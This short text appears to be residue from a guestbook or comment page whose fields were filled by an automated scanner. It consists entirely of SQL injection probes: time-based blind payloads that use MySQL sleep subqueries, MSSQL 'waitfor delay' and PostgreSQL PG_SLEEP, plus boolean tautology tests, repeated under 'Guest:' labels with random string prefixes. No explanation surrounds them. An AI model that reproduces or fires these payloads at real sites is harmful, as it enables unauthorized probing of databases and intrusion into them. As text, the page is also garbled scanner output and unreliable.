(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

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-1 OR 2+46-46-1=0+0+0+1
-1; waitfor delay '0:0:15' --

Guest:
-1 OR 2+46-46-1=0+0+0+1
-1); waitfor delay '0:0:15' --

Guest:
-1 OR 2+46-46-1=0+0+0+1
-1 waitfor delay '0:0:15' --

Guest:
-1 OR 2+46-46-1=0+0+0+1
EiuutBUA'; waitfor delay '0:0:15' --

Guest:
-1 OR 2+46-46-1=0+0+0+1
mECFnq8c'); waitfor delay '0:0:15' --

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-1 OR 2+46-46-1=0+0+0+1
9cpv4Nnx')); waitfor delay '0:0:15' --

Guest:
-1 OR 2+46-46-1=0+0+0+1
FIYh9KBG' OR 571=(SELECT 571 FROM PG_SLEEP(15))--

Guest:
-1 OR 2+46-46-1=0+0+0+1
iA2hS2ej') OR 401=(SELECT 401 FROM PG_SLEEP(15))--

Guest:
-1 OR 2+46-46-1=0+0+0+1
HARyOr27')) OR 511=(SELECT 511 FROM PG_SLEEP(15))--